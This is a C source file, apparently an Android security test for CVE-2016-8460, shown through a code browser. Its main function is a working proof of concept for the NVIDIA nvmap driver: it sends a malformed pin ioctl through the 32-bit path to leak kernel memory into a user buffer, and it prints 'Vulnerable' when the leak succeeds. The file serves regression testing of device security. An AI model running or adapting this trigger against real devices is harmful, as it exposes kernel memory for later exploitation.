Home | History | Annotate | Download | only in CVE-2016-8460
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 #include <unistd.h>
     18 #include <errno.h>
     19 #include <stdio.h>
     20 #include <dirent.h>
     21 #include <string.h>
     22 #include <sys/stat.h>
     23 #include <sys/ioctl.h>
     24 #include <stdio.h>
     25 #include <string.h>
     26 #include <dlfcn.h>
     27 #include <sys/time.h>
     28 #include <sys/mman.h>
     29 #include <sys/syscall.h>
     30 #include <sys/resource.h>
     31 #include <fcntl.h>
     32 #include <pthread.h>
     33 #include <unistd.h>
     34 #include <sched.h>
     35 
     36 
     37 struct nvmap_handle_param {
     38 	__u32 handle;		/* nvmap handle */
     39 	__u32 param;		/* size/align/base/heap etc. */
     40 	unsigned long result;	/* returns requested info*/
     41 };
     42 
     43 struct nvmap_create_handle {
     44 	union {
     45 		__u32 id;	/* FromId */
     46 		__u32 size;	/* CreateHandle */
     47 		__s32 fd;	/* DmaBufFd or FromFd */
     48 	};
     49 	__u32 handle;		/* returns nvmap handle */
     50 };
     51 
     52 struct nvmap_pin_handle {
     53 	__u32 *handles;		/* array of handles to pin/unpin */
     54 	unsigned long *addr;	/* array of addresses to return */
     55 	__u32 count;		/* number of entries in handles */
     56 };
     57 
     58 struct nvmap_alloc_handle {
     59 	__u32 handle;		/* nvmap handle */
     60 	__u32 heap_mask;	/* heaps to allocate from */
     61 	__u32 flags;		/* wb/wc/uc/iwb etc. */
     62 	__u32 align;		/* min alignment necessary */
     63 };
     64 
     65 struct nvmap_pin_handle_32 {
     66 	__u32 handles;		/* array of handles to pin/unpin */
     67 	__u32 addr;		/*  array of addresses to return */
     68 	__u32 count;		/* number of entries in handles */
     69 };
     70 
     71 struct nvmap_map_caller_32 {
     72 	__u32 handle;		/* nvmap handle */
     73 	__u32 offset;		/* offset into hmem; should be page-aligned */
     74 	__u32 length;		/* number of bytes to map */
     75 	__u32 flags;		/* maps as wb/iwb etc. */
     76 	__u32 addr;		/* user pointer*/
     77 };
     78 
     79 #define NVMAP_IOC_MAGIC 'N'
     80 #define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
     81 #define NVMAP_IOC_PIN_MULT      _IOWR(NVMAP_IOC_MAGIC, 10, struct nvmap_pin_handle)
     82 #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
     83 #define NVMAP_IOC_PIN_MULT_32   _IOWR(NVMAP_IOC_MAGIC, 10, struct nvmap_pin_handle_32)
     84 #define NVMAP_IOC_MMAP_32    _IOWR(NVMAP_IOC_MAGIC, 5, struct nvmap_map_caller_32)
     85 
     86 /* common carveout heaps */
     87 #define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
     88 #define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
     89 #define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
     90 #define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
     91 
     92 #define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
     93 
     94 /* allocation flags */
     95 #define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
     96 #define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
     97 #define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
     98 #define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
     99 #define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
    100 
    101 #define NVMAP_HANDLE_SECURE          (0x1ul << 2)
    102 #define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
    103 #define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
    104 #define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
    105 #define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
    106 #define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
    107 
    108 
    109 int g_fd = -1;
    110 
    111 int open_driver() {
    112     char* dev_path = "/dev/nvmap";
    113     g_fd = open(dev_path, O_RDWR);
    114     return g_fd;
    115 }
    116 
    117 
    118 int main(int argc, char**argv) {
    119     if (open_driver() < 0) {
    120         return -1;
    121     }
    122 
    123     int i;
    124     int* handles = mmap((void*)0x20000000, 0x1000, PROT_READ | PROT_WRITE , MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    125     memset(handles, 0x42, 0x1000);
    126     for (i = 0; i < 2; ++i) {
    127         struct nvmap_create_handle op = {0};
    128         op.size = 0x1000;
    129         ioctl(g_fd, NVMAP_IOC_CREATE, &op);
    130         handles[i] = op.handle;
    131         struct nvmap_alloc_handle alloc = {0};
    132         alloc.align = 0x1000;
    133         alloc.handle = op.handle;
    134         alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
    135         alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
    136         ioctl(g_fd, NVMAP_IOC_ALLOC, &alloc);
    137     }
    138 
    139     void* leak_addr = (void*) 0x10001000;
    140     void* mmap_addr = mmap(leak_addr, 0x1000, PROT_READ | PROT_WRITE , MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    141     memset(leak_addr, 0x41, 0x1000);
    142 
    143     unsigned long leaked_data = 0;
    144     struct nvmap_pin_handle_32 pin = {0};
    145     pin.count = 2;
    146     pin.handles = (unsigned int) handles;
    147     struct nvmap_pin_handle err_pin = {0};
    148     err_pin.count = 0;
    149     err_pin.handles = handles;
    150     err_pin.addr = leak_addr + 8;
    151 
    152     ioctl(g_fd, NVMAP_IOC_PIN_MULT, &err_pin);  // construct op.addr
    153     ioctl(g_fd, NVMAP_IOC_PIN_MULT_32, &pin);
    154 
    155     for (i = 0; i < 10; ++i) {
    156         if(((int*)leak_addr)[i] != 0x41414141 && 0 == leaked_data) {
    157           leaked_data = (unsigned long)((int*)leak_addr) + i;
    158         }
    159     }
    160 
    161     if (leaked_data) {
    162         printf("Vulnerable");
    163     }
    164     return 0;
    165 }
    166